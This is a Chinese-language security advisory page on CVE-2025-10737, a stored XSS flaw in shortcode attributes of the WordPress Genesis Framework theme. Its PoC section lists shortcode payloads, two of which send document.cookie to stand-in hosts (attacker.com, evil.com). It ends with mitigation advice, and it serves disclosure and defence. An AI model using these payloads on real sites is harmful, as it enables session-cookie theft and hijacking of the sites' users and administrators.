IPBUF安全漏洞报告
English
CVE-2025-10737 CVSS 6.4 中危

CVE-2025-10737 WordPress Genesis Framework主题存储型XSS漏洞

披露日期: 2025-10-25

漏洞信息

漏洞编号
CVE-2025-10737
漏洞类型
存储型跨站脚本(XSS)
CVSS评分
6.4 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Open Source Genesis Framework theme for WordPress

相关标签

CVE-2025-10737存储型XSSWordPress插件漏洞Genesis Framework短代码注入WordPress安全CVSS 6.4中危漏洞

漏洞概述

CVE-2025-10737是WordPress开源Genesis Framework主题中的一个存储型跨站脚本漏洞。该漏洞存在于主题的短代码(Shortcodes)功能中,影响版本至3.6.0。由于主题在处理用户提供的属性时缺乏充分的输入 sanitization(输入净化)和输出转义(output escaping),导致恶意脚本可以被注入到页面中。攻击者利用此漏洞需要具有WordPress网站的贡献者级别(Contributor)或更高权限。注入的恶意JavaScript代码会在用户访问包含恶意代码的页面时自动执行,可能导致会话劫持、敏感信息窃取、管理后台权限滥用等严重安全问题。由于是存储型XSS,恶意代码会永久保存在服务器端,所有访问受影响页面的用户都会受到攻击影响。该漏洞的CVSS评分为6.4,属于中等严重程度,但考虑到其存储型特性和低权限利用要求,实际威胁不容忽视。

技术细节

漏洞根源在于Genesis Framework主题的短代码处理逻辑中,对用户输入的属性的过滤和转义不完整。攻击者可以通过在短代码属性中插入恶意JavaScript代码,如<script>标签或事件处理属性(如onerror、onload等),这些代码会被直接存储到数据库中。当其他用户访问包含该短代码的页面时,未经转义的恶意代码会被浏览器执行。具体利用方式为:具有贡献者权限的认证用户创建或编辑文章/页面,在短代码中插入恶意属性值,例如[genesis_shortcode key="<script>alert(document.cookie)</script>"]。由于主题未对key属性值进行HTML实体转义,该脚本会被原样保存并在页面渲染时执行。攻击者可以利用此漏洞窃取用户会话cookie、进行钓鱼攻击或进一步提权。CVSS向量显示攻击复杂度低(AC:L)、权限需求低(PR:L)、无需用户交互(UI:N),但影响范围为已更改范围(S:C),表明攻击可影响多个用户。

攻击链分析

STEP 1
步骤1
攻击者获取WordPress网站的用户账户,需要具有贡献者(Contributor)级别或更高权限
STEP 2
步骤2
攻击者创建或编辑文章/页面,在短代码属性中注入恶意JavaScript代码
STEP 3
步骤3
由于Genesis Framework缺乏输入净化和输出转义,恶意代码被保存到数据库中
STEP 4
步骤4
当普通用户或管理员访问包含该短代码的页面时,恶意脚本在用户浏览器中执行
STEP 5
步骤5
攻击者通过执行的JavaScript窃取用户会话cookie、劫持账户或进行进一步攻击

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
<!-- WordPress Genesis Framework XSS PoC - CVE-2025-10737 --> <!-- Requires Contributor-level or higher access --> <!-- Method 1: Using script tag in shortcode attribute --> [genesis_shortcode key='<script>alert(document.cookie)</script>'] <!-- Method 2: Using event handler attribute --> [genesis_shortcode key='" onerror="alert(String.fromCharCode(88,83,83))'] <!-- Method 3: Using img tag with onerror --> [genesis_shortcode key='<img src=x onerror=fetch("https://attacker.com/log?cookie="+document.cookie)>'] <!-- Method 4: Using JavaScript protocol in href --> [genesis_shortcode key='<a href="javascript:alert(document.domain)">Click</a>'] <!-- Example: Stealing admin cookies --> [genesis_shortcode key='<script>fetch("https://evil.com/steal?c="+btoa(document.cookie))</script>']

影响范围

Genesis Framework theme for WordPress <= 3.6.0

防御指南

临时缓解措施
在官方修复版本发布前,可采取以下临时缓解措施:1) 审查并限制具有贡献者及以上权限的用户账户;2) 禁用非管理员用户的文章发布功能;3) 使用WordPress安全插件对短代码内容进行实时过滤;4) 实施严格的CSP策略限制内联脚本执行;5) 监控网站日志关注异常请求模式。由于该漏洞已被公开披露,建议尽快应用官方安全更新。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表